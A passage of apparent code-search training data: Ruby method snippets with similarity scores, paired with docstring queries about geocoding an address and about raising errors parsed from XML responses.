"def initialize\n @app_name = ENV[\"app_name\"]\n @app_password = ENV[\"app_password\"]\n @app_username = ENV[\"app_username\"]\n @faraday_adapter = Faraday.default_adapter\n end",
"def set_tourist_site_app_service\n @tourist_site_app_service = TouristSiteAppService.find(params[:id])\n end",
"def app\n App.load(self.app_id)\n end",
"def initialize(user, application_id)\n @api = user.api\n @application_id = application_id\n @user = user\n load_base\n end",
"def initialize(crowd_url, app_name, app_password, options = {})\n @crowd_url = crowd_url\n @crowd = Savon::Client.new(@crowd_url + (Client.debug? ? '?wsdl' : ''))\n if options[:verify_cert] == false\n @crowd.request.http.ssl_client_auth(:verify_mode => OpenSSL::SSL::VERIFY_NONE)\n end\n @app_name = app_name\n @app_password = app_password\n @app_token = nil\n end",
"def initialize app=nil\n @app = app\n\n self.class.endpoints.values.flatten.each do |endpoint|\n endpoint.action_handler ||= method :default_action\n endpoint.api_doc_handler ||= method :default_api_doc\n endpoint.error_handler ||= method :default_error\n endpoint.validation_error_handler ||= method :default_validation_error\n end\n end",
"def init_client; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def app; end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end"
] |
[
"0.6390914",
"0.6360193",
"0.63467044",
"0.62485325",
"0.6233828",
"0.62295395",
"0.62133735",
"0.61510885",
"0.61165386",
"0.61165386",
"0.61165386",
"0.60871094",
"0.6086187",
"0.6086187",
"0.6086187",
"0.6086187",
"0.60557175",
"0.60557175",
"0.60557175",
"0.6054705",
"0.60540426",
"0.6022634",
"0.6008571",
"0.5964153",
"0.59562594",
"0.5894819",
"0.5880038",
"0.58629686",
"0.584343",
"0.584262",
"0.584262",
"0.5838613",
"0.58282155",
"0.5821485",
"0.5795733",
"0.5749272",
"0.574508",
"0.57336426",
"0.5714932",
"0.57114655",
"0.5700125",
"0.5690561",
"0.5686508",
"0.56858",
"0.5656248",
"0.5651555",
"0.56403685",
"0.5636695",
"0.5629936",
"0.5623021",
"0.5595317",
"0.5595317",
"0.55759937",
"0.556074",
"0.55552685",
"0.555226",
"0.5504859",
"0.54995203",
"0.5497166",
"0.5482956",
"0.54824936",
"0.54735756",
"0.5461812",
"0.54395586",
"0.5432262",
"0.5431131",
"0.54308236",
"0.54192203",
"0.5414477",
"0.5413178",
"0.5407067",
"0.5397465",
"0.53917724",
"0.5385935",
"0.5385935",
"0.5381176",
"0.53754324",
"0.53715926",
"0.5365697",
"0.53651476",
"0.53580415",
"0.53495675",
"0.53440356",
"0.5343016",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5339079",
"0.5338875",
"0.5338875",
"0.5338875",
"0.5338875",
"0.5338875"
] |
0.5675151
|
45
|
Returns a Location for +address+. The +address+ can be any of: city, state city, state, zip zip street, city, state street, city, state, zip street, zip
|
def locate(address)
location = (address.is_a?(String) ? address : location_from_params(address).to_s(:country => false))
# yahoo pukes on line breaks
get :location => location.gsub("\n", ', ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def locate(address)\n location = address.is_a?(String) ? address : location_from_params(address)\n case location\n when String\n get :qs => location\n when Location\n get \"street\" => location.street, \n \"region\" => location.region, \n \"city\" => location.city, \n \"postalCode\" => location.postal_code, \n \"countryCode\" => location.country\n end\n end",
"def locate(address)\n get :address => address.is_a?(String) ? address : location_from_params(address).to_s\n end",
"def locate(address)\n get :q => address.is_a?(String) ? address : location_from_params(address).to_s\n end",
"def locate(address)\n get :q => address.is_a?(String) ? address : location_from_params(address).to_s\n end",
"def locate(address)\n get :q => address.is_a?(String) ? address : location_from_params(address).to_s\n end",
"def locate(address)\n delay_before_locate\n get :q => address.is_a?(String) ? address : location_from_params(address).to_s\n end",
"def locate(address)\n get :geo, :q => address\n end",
"def locate(address)\n do_locate(address, false)\n end",
"def geocode(address)\n result = Geocoder.search(address).first\n #result.latitude - float\n #result.longitude - float\n #result.coordinates - array of the above two\n #result.address - string\n #result.city - string\n #result.state - string\n #result.state_code - string\n #result.postal_code - string\n #result.country - string\n #result.country_code - string\n if result\n self.lat = result.latitude\n self.lng = result.longitude\n return true\n else\n return nil\n end\n end",
"def geocode_address\n full_address or address\n end",
"def address_from_spree_address(address)\n ::ShipCompliant::Address.new(\n first_name: address.first_name,\n last_name: address.last_name,\n country: address.country.iso,\n city: address.city,\n state: address.try(:state).try(:abbr),\n street1: address.address1,\n street2: address.address2,\n zip1: address.zipcode.try(:[], 0...5)).address\n end",
"def find_by_address(address)\n alias_record = finder(\n :select => [:id, :address, :goto, :domain],\n :conditions => {:address => address})\n return nil if alias_record.nil?\n\n new(alias_record)\n end",
"def locate(address)\n get :location => address\n end",
"def validate_zip(address)\n return SOAZipValidator(address.city, address.zipcode)\n end",
"def get_coords(address)\n coords = Geocoder.search(address)\n location = self.location\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end",
"def get_coords(address)\n coords = Geocoder.search(address)\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end",
"def geocode_address\n geo = Geokit::Geocoders::MultiGeocoder.geocode(self.address_string)\n if geo.success\n self.lat, self.lng = geo.lat, geo.lng\n else\n puts geo.class\n errors.add(:address, \"Could not Geocode address\")\n end\n end",
"def create_data_location(address)\n uri = URI.parse(address.to_s)\n uri = uri.scheme ? uri : URI.parse(\"local:%s\" % Pathname.new(uri.path).expand_path)\n if location_class = SCHEMES[uri.scheme]\n location_class.new(uri)\n else\n raise ArgumentError.new(uri)\n end\n end",
"def address\n @address ||=\n if address_attributes.present?\n GeocodedAddress.new(station.build_address(address_attributes))\n else\n NullAddress.new\n end\n end",
"def valid_address\n @address_string ||= [:street_address, :postal_code].map{|f| self.send(f)}.join(',')\n \n res=Geokit::Geocoders::GoogleGeocoder.geocode(@address_string)\n \n if res.success && res.precision.to_sym == :address\n\n self.street_address = res.street_address.upcase\n self.postal_code \t= res.zip.gsub(/\\s+/,'') \n self.lat = res.lat\n self.lng = res.lng\n \n country = Country.find_by_iso2(res.country_code)\n region = country.regions.find_or_create_by_code(res.state)\n city = region.cities.find_or_create_by_name_and_country_id(res.city, country.id) \n self.city = city\n\n elsif military_address?\n self.city = Country.find_by_iso2(res.country_code).regions.\n find_by_code(res.state).cities.find_by_name(res.city)\n return true \n else\n errors.add_to_base('Sorry the address is not valid')\n end \n end",
"def convert_location(address)\n loc_query = Addressable::URI.new(\n :scheme => \"http\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/geocode/json\",\n :query_values => {:address => \"#{address}\",\n :sensor => \"false\"}\n )\n\n geolocation_json = RestClient.get(loc_query.to_s)\n location = JSON.parse(geolocation_json)\n\n latitude = location[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n longitude = location[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n [latitude, longitude]\n end",
"def get_address\n welcome_message\n puts \"What is your location?\"\n user_location = Geocoder.search(gets.chomp)[0]\n if user_location != nil\n adr = user_location\n @city = adr.city\n @lat = adr.latitude\n @lon = adr.longitude\n else\n no_match\n end\n end",
"def get_address(addr)\n Address.get(@id, addr.to_s)\n end",
"def geocode\n geo = Geokit::Geocoders::MultiGeocoder.geocode address.gsub(/\\n/, ', ')\n if geo.success\n self.lat, self.lng = geo.lat, geo.lng\n else\n errors.add(:address, 'Problem locating address')\n end\n end",
"def location\n # and call a private getter method within\n puts \"I live on #{address.split[1]} street.\"\n end",
"def geocode(address)\n q = { address: URI::encode(address) }\n q[:key] = @config[:api_key] if @config.has_key?(:api_key)\n\n res = get('/json', q)\n JSON::parse(res.body)\n end",
"def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend",
"def address\n # match Geocoder::Result::Google#formatted_address\n \"#{street}, #{city}, #{state} #{zip}, #{country}\"\n end",
"def full_address_for(address)\n \"#{street_address_for(address)}, #{address.city}, #{address.state_province} \" \\\n \"#{address.postal_code}\"\n end",
"def geocode_address\n geo=Geokit::Geocoders::GoogleGeocoder.geocode(address)\n errors.add(:address, \"Could not Geocode address\") if !geo.success\n self.lat, self.lng = geo.lat,geo.lng if geo.success\n end",
"def geocode(address)\n response = HTTParty.get(\"https://maps.googleapis.com/maps/api/geocode/json?address=#{address.gsub(' ','+')}&key=#{API_KEY}\")\n sleep(1)\n data = JSON.parse(response.body)['results']\n location = []\n location << data[0]['geometry']['location']['lat']\n location << data[0]['geometry']['location']['lng']\n end",
"def build_address(address)\n {\n id: address&.id,\n address_line1: address&.address_line1,\n address_line2: address&.address_line2,\n city: address&.city,\n state: address&.state,\n country: address&.country,\n }\n end",
"def assign_from_address!(address)\n self.address_line1 = address.address_line1\n self.address_line2 = address.address_line2\n self.locality = address.town\n self.county = address.county\n self.country = address.country || 'GB'\n self.postcode = address.postcode\n end",
"def geocodeAddress address\n \t logger.debug address\n \t result = HTTParty.get(\"http://maps.googleapis.com/maps/api/geocode/json\",\n \t :query => {\n \t :address => address,\n \t :sensor => false \n \t })\n \t \n \t logger.debug \"address geocoded ***********\"\n \t logger.debug result\n \t logger.debug result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \t \n \t return result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \tend",
"def address\n return poi.address unless poi.nil?\n return place.address unless place.nil?\n addr = get_address\n return addr.blank? ? raw_address : addr\n end",
"def address\n @address ||= best_guess_address(name)\n end",
"def by_address(address)\n Apis.client.get(\"/company?address=#{address}\")\n end",
"def full_street_address\n location + \"New York City, NY, USA\"\n end",
"def address\n '310 S Harrington'\n end",
"def build_address(address)\n {\n receiver: address.full_name,\n email: order.email,\n phoneNumber: address.phone,\n route: address.address1,\n street_number: address.address1.scan(/\\d+/).first,\n internalNumber: address.address2.scan(/\\d+/).first,\n neighborhood: address.address2,\n locality: address.address3,\n postal_code: address.zipcode,\n subLocality: address.city,\n state: address.state.name,\n country: address.country.name,\n }\n end",
"def full_address\n \"#{address}, #{city}, #{state}, #{zip}\"\n end",
"def get_location(address, accuracy = 10)\n # prepare the request url\n url = sprintf(LOCATION_URL, @access_token, address, accuracy)\n\n # set get request\n response = send_get_request(url)\n\n return JSON.parse(response)\n end",
"def make_address(street, city, state, zip)\nend",
"def from_address!(address)\n return nil_address if address.nil?\n\n assign_from_address! address\n end",
"def parse_registered_office_address(address)\n return company if address.nil?\n\n @address_line1 = [address['po_box'], address['address_line_1']].compact.join(', ')\n @address_line2, @locality = ensure_we_have_locality(address['address_line_2'], address['locality'])\n @county = address['region']\n @postcode = address['postal_code']\n @country = 'GB'\n end",
"def account_address(address_details)\n self.address = Address.new(\n address_line1: address_details[:address_line1], address_line2: address_details[:address_line2],\n address_line3: address_details[:address_line3], address_line4: address_details[:address_line4],\n town: address_details[:address_town_or_city], county: address_details[:address_county_or_region],\n postcode: address_details[:address_postcode_or_zip], country: address_details[:address_country_code]\n )\n end",
"def new_address\n scope = current_user && current_user.addresses || Address\n @new_address ||= scope.find_or_create_by(\n address: params[:address],\n city: City.find_or_create_by(name: city)\n )\n end",
"def address(location, options = {})\n raise ArgumentError, 'Method must receive a location (string)' unless location\n options[:location] = location\n call_api self, @mapquest.version, 'address', options\n end",
"def get_google_coordinate(address)\n url = 'http://maps.googleapis.com/maps/api/geocode/json?sensor=false&language=zh-CN&address=' + URI::encode(address)\n decoded = call_api(url)\n\n if decoded['status'] == 'OK' then\n ret = decoded['results'][0]['geometry']['location']\n else\n ret = {}\n end\n\n return ret\nend",
"def full_street_address\n postcode_only_address\n end",
"def full(address)\n \"#{address[:type]} #{address[:description]}, #{address[:neighborhood]}, #{address[:city]}-#{address[:state]}, Brasil.\"\n end",
"def coordinates(address)\n return nil if address.blank?\n return nil unless doc = search(address, false)\n # blindly use first result (assume it is most accurate)\n place = doc['results'].first['geometry']['location']\n ['lat', 'lng'].map{ |i| place[i] }\n end",
"def geocode_address(address,\r\n country_code = nil,\r\n language_code = 'en',\r\n fuzzy_search = false)\r\n # Prepare query url.\r\n _path_url = '/geocode-address'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'output-case' => 'camel',\r\n 'address' => address,\r\n 'country-code' => country_code,\r\n 'language-code' => language_code,\r\n 'fuzzy-search' => fuzzy_search\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: _parameters\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n GeocodeAddressResponse.from_hash(decoded)\r\n end",
"def get_address(street_number:, street:, city:, state:, zip:)\n response = RestClient.get \"https://geocoding.geo.census.gov/geocoder/locations/onelineaddress?address=#{street_number}+#{street}%2C+#{city}%2C+#{state}+#{zip}&benchmark=9&format=json\"\n json = JSON.parse(response.body)\n end",
"def address\n get_value :address\n end",
"def address_string\n \"#{address}, #{city}, #{state} #{zip}\"\n end",
"def location\n @location ||= person.location unless person.building_address_line_1 == person.location\n end",
"def address=(value)\n @address = value\n end",
"def address=(value)\n @address = value\n end",
"def address(address_id)\n from_resource :address,\n connection.get(api_uri(\"addresses/#{address_id}\"))\n end",
"def call_google_api_for_location(address)\n url = \"https://maps.googleapis.com/maps/api/geocode/json?address=#{\n address}&key=#{ENV['GOOGLE_API_KEY']}\"\n response = HTTParty.get url\n response.body\n end",
"def get_address\n @address\n end",
"def gmaps4rails_address\n \t\"#{address}, #{city}, #{state}\"\n end",
"def build_address(address)\n {\n route: address.address1,\n neighborhood: address.address2,\n locality: address.address3,\n postalCode: address.postal_code,\n subLocality: address.city,\n state: address.city,\n country: address.country.name\n }.\n # INFO: equivalent of .compact\n select { |_, value| !value.nil? }\n end",
"def build_address_details(xml, addressType, address)\n if not address.nil? then\n xml.tag!(addressType){\n xml.Location{\n xml.Address{\n xml.Firstname(address[:name]) \n xml.Street1(address[:address1]) unless address[:address1].nil?\n xml.Street2(address[:address2]) unless address[:address2].nil?\n xml.Street3(address[:address3]) unless address[:address3].nil?\n xml.City(address[:city]) unless address[:city].nil?\n xml.StateProv(address[:state]) unless address[:state].nil?\n xml.PostalCode(address[:zip]) unless address[:zip].nil?\n }\n }\n }\n end\n end",
"def address_model\n a = CIVICRM::Address.new(\n contact_id: self.contact_id,\n location_type_id: self.location_type_id,\n is_primary: self.primary,\n is_billing: false,\n street_address: self.address1,\n street_number: self.street_number,\n supplemental_address_1: self.address2,\n supplemental_address_2: self.address3\n\n )\n # Add county, state, country, and zipcode stuff now\n self.set_location(a)\n end",
"def query_address2latlng(query_address)\n\t\tla_clave_esa = \"AIzaSyBtlkF4i2Mmv33\" + \"uVc4aVTA5JT94-eEnRTo\"\n\t\tgeocode_url = \"https://maps.googleapis.com/maps/api/geocode/json?address=\"+query_address+\"&key=\" + la_clave_esa\n\t\tgeocode_uri = URI.parse(geocode_url)\n\t\tgeocode_response = Net::HTTP.get_response(geocode_uri)\n\t\tgeocode_hash = JSON.parse geocode_response.body\n\t\t#pp geocode_hash\n\t\tlat = geocode_hash[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\tlng = geocode_hash[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\treturn lat.to_s + \",\" + lng.to_s\n\tend",
"def set_address\n if @location\n @address = @locations.find(params['id'])\n else\n @address = Address.find(params['id'])\n end\n end",
"def gmaps4rails_address\n \"#{address}, #{city_state_zip}\"\n end",
"def get_sale_country(address)\n country = \"\"\n\n if address[\"c\"] != \"-\"\n country = address[\"c\"]\n elsif address[\"r\"] != \"-\"\n #if address[\"r\"] contains only numbers do not want\n country = get_country(address[\"r\"]) unless address[\"r\"] =~ /\\d+$/\n elsif address[\"l\"] != \"-\"\n country = get_country(address[\"l\"])\n end\n\n return country\n end",
"def create_address(city, state, zip)\n call_address = Addressable::URI.new(\n :scheme => \"http\",\n :host => \"www.whitepages.com\",\n :path => \"search/FindNearby\",\n :query_values => {\n :utf8 => \"✓\",\n :street => \"#{city}, #{state}\",\n :where => \"#{zip}\"\n }\n ).to_s\n end",
"def account_by_address(address)\n account_name = request('getaccount', address)\n if account_name.present?\n account(account_name)\n else\n nil\n end\n end",
"def gmaps4rails_address\n addr = if state and state.name.present?\n \"#{address_1}, #{city}, #{state.name} #{zip_code}\"\n elsif (address_1)\n \"#{address_1}, #{raw_seed}\"\n else\n \"1856 Stevenson Ave, Clearwater, Florida 33755\"\n end\n puts \"gmap input:#{addr}\"\n addr\n end",
"def add_address(request, address)\r\n return if address.nil?\r\n request.Set(RocketGate::GatewayRequest::BILLING_ADDRESS, address[:address1])\r\n request.Set(RocketGate::GatewayRequest::BILLING_CITY, address[:city])\r\n request.Set(RocketGate::GatewayRequest::BILLING_ZIPCODE, address[:zip])\r\n request.Set(RocketGate::GatewayRequest::BILLING_COUNTRY, address[:country])\r\n\r\n#\r\n#\tOnly add the state if the country is the US or Canada.\r\n#\t \r\n if address[:state] =~ /[A-Za-z]{2}/ && address[:country] =~ /^(us|ca)$/i\r\n request.Set(RocketGate::GatewayRequest::BILLING_STATE, address[:state].upcase)\r\n end\r\n end",
"def address\n return \"\" unless [city, state, state_code].all?(&:present?)\n \"#{city}, #{state}(#{state_code})\"\n end",
"def validate_address(address, options={})\n options = @options.update(options)\n address_validation_request = build_address_validation_street_request(address, options)\n #UPS sandbox is not knowing about all states\n log(:address_validation, address_validation_request)\n response = commit(:address_validation_street, save_request(address_validation_request), (false))\n response = response.gsub(/\\sxmlns(:|=)[^>]*/, '').gsub(/<(\\/)?[^<]*?\\:(.*?)>/, '<\\1\\2>')\n log(:address_validation, response)\n parse_address_street_validation_response(response, options)\n end",
"def location_address\n begin\n \"#{cart.line_items.first.menu_section_item.menu_section.menu.location.\n address}, #{cart.line_items.first.menu_section_item.menu_section.menu.\n location.city}, #{cart.line_items.first.menu_section_item.menu_section.\n menu.location.region}\"\n rescue\n \"No current address on record.\"\n end\n end",
"def address_model\n a = CIVICRM::Address.new(\n contact_id: self.contact_id,\n location_type_id: self.location_type_id,\n is_primary: self.primary,\n is_billing: false,\n street_address: self.address1,\n street_number: self.street_number,\n supplemental_address_1: self.address2,\n supplemental_address_2: self.address3,\n city: self.city\n\n )\n # Add county, state, country, and zipcode stuff now\n self.set_location(a)\n end",
"def address=(value)\n\t\t\t@address = value\n\t\tend",
"def address=(value)\n\t\t\t@address = value\n\t\tend",
"def generate_random_location\n location = Geocoder.search('-8.783195, -124.50852299999997').sample\n return nil unless location && location.address.present?\n create(address: location.address, latitude: location.latitude, longitude: location.longitude)\n end",
"def geocode\n # address must note be blank start with a number\n return if address.index(/[1-9]/).nil?\n return if full_address.blank?\n return if not lat.nil? and not lng.nil?\n url = \"http://geocoder.ca/?locate=#{CGI.escape self.full_address}&geoit=xml&jsonp=1&auth=#{GEOCODER_CA_KEY}&callback=?\"\n # get the response and cut off the jsonp\n response = Curl.get(url).body_str.from(2).to(-3)\n json = JSON.parse response\n self.lng = json[\"longt\"]\n self.lat = json[\"latt\"]\n end",
"def geocode(address)\r\n\t\r\n\t\turi = URI.encode(\"#{@@google_base_url}#{address}\")\r\n\t\turl = URI.parse(uri)\r\n\t\thttp = Net::HTTP.new(url.host, url.port)\r\n\t\trequest = Net::HTTP::Get.new(url.request_uri)\r\n\t\tresponse = http.request(request)\t\r\n\t\t# throws exception\r\n\t\traise \"Bad response, code #{response.code}\" if response.code != \"200\"\r\n\t\t\r\n\t\t# result returned from Google Geocoding API\r\n\t\tresult = response.body\r\n\t\tjson_parsed = JSON.parse(result)\r\n\t\t\r\n\t\treturn json_parsed\r\n\tend",
"def address\n unless addresses.empty?\n addresses.first\n else\n nil\n end\n end",
"def full_address\n return \"#{address}, #{city}, #{state}, #{zip}\"\nend",
"def location_to_geocode(location)\n case location\n when Geocode then location\n when InstanceMethods then location.geocode\n when String, Fixnum then Geocode.find_or_create_by_query(location)\n end\n end",
"def geo_coordinates_for address\n @log ||= Rails.logger\n return KNOWN_PLACES[address] if KNOWN_PLACES[address]\n \n google_data = get_geo_json address, :retries => 2\n location = google_data['results'].first['geometry']['location'] rescue {}\n \n log_empty(address, google_data['status']) if location.blank?\n [location['lat'], location['lng']]\n end",
"def address(latitude, longitude)\n return nil if latitude.blank? || longitude.blank?\n return nil unless doc = search(\"#{latitude},#{longitude}\", true)\n # blindly use first result (assume it is most accurate)\n doc['results'].first['formatted_address']\n end",
"def address\n @address\n end",
"def address=(address)\n @address = ensure_type(Address, address)\n end",
"def address\n load_step # Need to load the account to make the decision\n if AccountType.other_organisation?(@account.account_type)\n # Uses overrides as the address is at address.company not at company\n wizard_address_step(STEPS, address_attribute: :org_address,\n next_step: :address_next_step)\n elsif AccountType.registered_organisation?(@account.account_type)\n wizard_address_step(STEPS, address_not_required: :reg_company_contact_address_yes_no,\n next_step: :address_next_step)\n else # must be individual\n wizard_address_step(STEPS, next_step: :address_next_step)\n end\n end",
"def full_street_address\n \"#{self.address}, #{self.city}, #{self.state.try(:alpha_code)} #{self.zipcode} US\"\n end",
"def address_street\n address.street\n end",
"def import_address(address)\n importaddress(address)\n end",
"def org_address=(address)\n company.from_address!(address)\n end",
"def geolocate\n \"#{self.address}\"', '\"#{self.state}\"', '\"#{self.zipcode}\"\n end",
"def generate_address\n name = self.name\n unless self.address\n key = ENV['GMAPS_KEY']\n search = name.gsub(\" \",\"+\")\n map_results = JSON.parse(open(\n \"https://maps.googleapis.com/maps/api/place/textsearch/json?location=41.310362,-72.928914&radius=500&key=#{key}&query=#{search}&sensor=true\").read)\n loc = map_results['results'].first\n if loc\n address = loc[\"formatted_address\"]\n lat = loc[\"geometry\"][\"location\"][\"lat\"]\n lng = loc[\"geometry\"][\"location\"][\"lng\"]\n else\n address = \"38 Hillhouse Avenue, New Haven, CT 06511\"\n lat = \"41.310362\"\n lng = \"-72.928914\"\n end\n self.attributes = {:address => address, :latitude => lat, :longitude => lng}\n end\n end",
"def geocode\n geo = GeoKit::Geocoders::MultiGeocoder.geocode(geocode_address)\n if geo.success\n self.lat, self.lng = geo.lat, geo.lng\n return self\n else\n errors.add_to_base(\"Could not geocode address\")\n return nil\n end\n end",
"def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end"
] |
[
"0.75734884",
"0.7498741",
"0.7437555",
"0.7437555",
"0.7437555",
"0.72646534",
"0.7046932",
"0.6777597",
"0.67576945",
"0.6753412",
"0.6645309",
"0.66367966",
"0.66080534",
"0.660201",
"0.6588839",
"0.6580375",
"0.6572701",
"0.6528612",
"0.6506962",
"0.64145756",
"0.6404193",
"0.6392196",
"0.63692194",
"0.63466746",
"0.63334024",
"0.632613",
"0.6310612",
"0.6293657",
"0.628413",
"0.62576705",
"0.624666",
"0.6222632",
"0.6211353",
"0.61737406",
"0.617299",
"0.6168091",
"0.61573833",
"0.61345947",
"0.60974973",
"0.60794914",
"0.60650826",
"0.6027674",
"0.6021492",
"0.60179085",
"0.599889",
"0.5991486",
"0.5984438",
"0.5978039",
"0.59620476",
"0.5951804",
"0.5947336",
"0.5945659",
"0.59436417",
"0.59409225",
"0.59383106",
"0.5933656",
"0.59269714",
"0.59267485",
"0.59267485",
"0.5926293",
"0.59231573",
"0.59228486",
"0.5912468",
"0.59122944",
"0.5902369",
"0.58997023",
"0.58983946",
"0.5889166",
"0.5882262",
"0.5877214",
"0.5873838",
"0.5872326",
"0.58697283",
"0.58647025",
"0.5845664",
"0.58424586",
"0.58397424",
"0.5834036",
"0.58275455",
"0.58275455",
"0.58253217",
"0.58184135",
"0.581482",
"0.581108",
"0.5794489",
"0.5793797",
"0.5792812",
"0.5790033",
"0.57704747",
"0.5770296",
"0.5761128",
"0.57532585",
"0.57395685",
"0.5739508",
"0.5730497",
"0.5723938",
"0.57170194",
"0.5711363",
"0.5693795"
] |
0.7231003
|
7
|
Extracts and raises an error from +xml+, if any.
|
def check_error(xml) #:nodoc:
if error = Error.parse(xml, :single => true)
raise Graticule::Error, error.message
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_error(xml) #:nodoc:\n err = xml.elements['Error']\n raise Error, err.elements['Message'].text if err\n end",
"def check_error(xml)\n raise NotImplementedError\n end",
"def check_error(xml) #:nodoc\n end",
"def check_error(xml) #:nodoc\n end",
"def check_error(xml) #:nodoc\n end",
"def check_error(xml) #:nodoc\n end",
"def validate_xml(xml)\n doc = Nokogiri.XML(xml)\n raise ArgumentError, \"XML is not well formed: #{xml}\" unless doc.errors.empty?\n end",
"def from_xml(xml)\n clear\n humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }\n messages = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []\n messages.each do |message|\n attr_message = humanized_attributes.keys.detect do |attr_name|\n if message[0, attr_name.size + 1] == \"#{attr_name} \"\n add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]\n end\n end\n \n add_to_base message if attr_message.nil?\n end\n end",
"def check_error(xml)\n status = xml.elements['/kml/Response/Status/code'].text.to_i\n case status\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise KeyError, 'invalid key'\n when 620 then\n raise KeyError, 'too many queries'\n else\n raise Error, \"unknown error #{status}\"\n end\n end",
"def get_xml_error(xobj)\n\t\t\tbegin\n\t\t\t\txobj.at_xpath('//ann/warning').content\n\t\t\trescue NoMethodError\n\t\t\t\t\"unrecognized response body\"\n\t\t\tend\n\t\tend",
"def check_error(xml) #:nodoc:\n status = xml.elements['/kml/Response/Status/code'].text.to_i\n case status\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise CredentialsError, 'invalid key'\n when 620 then\n raise CredentialsError, 'too many queries'\n else\n raise Error, \"unknown error #{status}\"\n end\n end",
"def pagseguro_error(xml)\n messages = []\n xml.css(\"errors > error\").each do |error|\n messages << error_message(error.css(\"code\").text, error.css(\"message\").text)\n end\n {}.tap do |data|\n data[:errors] = messages\n end\n end",
"def expect_error(xml, regex, line = nil, col = nil, pos = nil)\n\tbegin\n\t toker = NQXML::Tokenizer.new(xml)\n\t toker.each { | tok | }\n\t assert_fail(\"expected exception '#{regex.source}'\")\n\trescue NQXML::ParserError => ex\n\t assert_match($!, regex)\n\t assert_equal(line, ex.line()) if line\n\t assert_equal(col, ex.column()) if col\n\t assert_equal(pos, ex.pos()) if pos\n\tend\n end",
"def expect_error(xml, regex, line = nil, col = nil, pos = nil)\n\tparser = nil\n\tbegin\n\t parser = NQXML::TreeParser.new(xml)\n\t assert_fail(\"expected exception '#{regex.source}'\")\n\trescue NQXML::ParserError => ex\n\t assert_match($!, regex)\n\t assert_equal(line, ex.line()) if line\n\t assert_equal(col, ex.column()) if col\n\t assert_equal(pos, ex.pos()) if pos\n\tend\n end",
"def check_xml(html)\n doc = Hpricot.XML(html)\n \terrors = doc.search(\"*[@errCode]\")\n \tif errors.size > 0\n \t\terrors.each do |error|\n \t\t\traise error[:errCode]\n \t\tend\n \telsif (doc%'page').nil?\n \t\traise \"EmptyPage (#{url})\"\n \telse\n \t\treturn true\n \tend\n end",
"def raise_if_error_present_in(response)\n response_xml = response.parsed_response\n if response_xml && !response_xml.css('error').empty?\n error_id = response_xml.css('error').first['id']\n error_message = response_xml.css('error message').first.text\n\n # Rozpoznajemy ten kod bledu i mozemy rzucic okreslona klasa wyjatku:\n if exception_class = EXCEPTION_CLASSES[error_id.to_s]\n raise exception_class, error_message\n else\n # Jakis nieznany blad - rzucamy chociaz stringiem\n raise Exceptions::UnknownError, \"ELIBRI_API ERROR #{error_id}: #{error_message}\"\n end\n end\n end",
"def api_error(xml) #:nodoc:\r\n if xml.nil?\r\n res = TruveoResponse.new\r\n res.error_code = '69'\r\n res.error_text = 'bad xml'\r\n return res\r\n end\r\n #<?xml version='1.0' encoding='UTF-8'?><Response><Error Code='14'>Access Denied: invalid appid.</Error></Response>\r\n if elt = xml.elements['//Error']\r\n res = TruveoResponse.new\r\n res.error_code = elt.attributes[\"Code\"]\r\n res.error_text = elt.text\r\n return res\r\n end\r\n nil\r\n end",
"def handle_xml( request )\n\t\tself.log.warn \"Unhandled XML message request (%p)\" % [ request.headers.pack ]\n\t\treturn nil\n\tend",
"def xml_error(http_error_code=Forbidden, &block)\n render_xml(:error) do |xml|\n block.yield(xml)\n end\n raise http_error_code\n end",
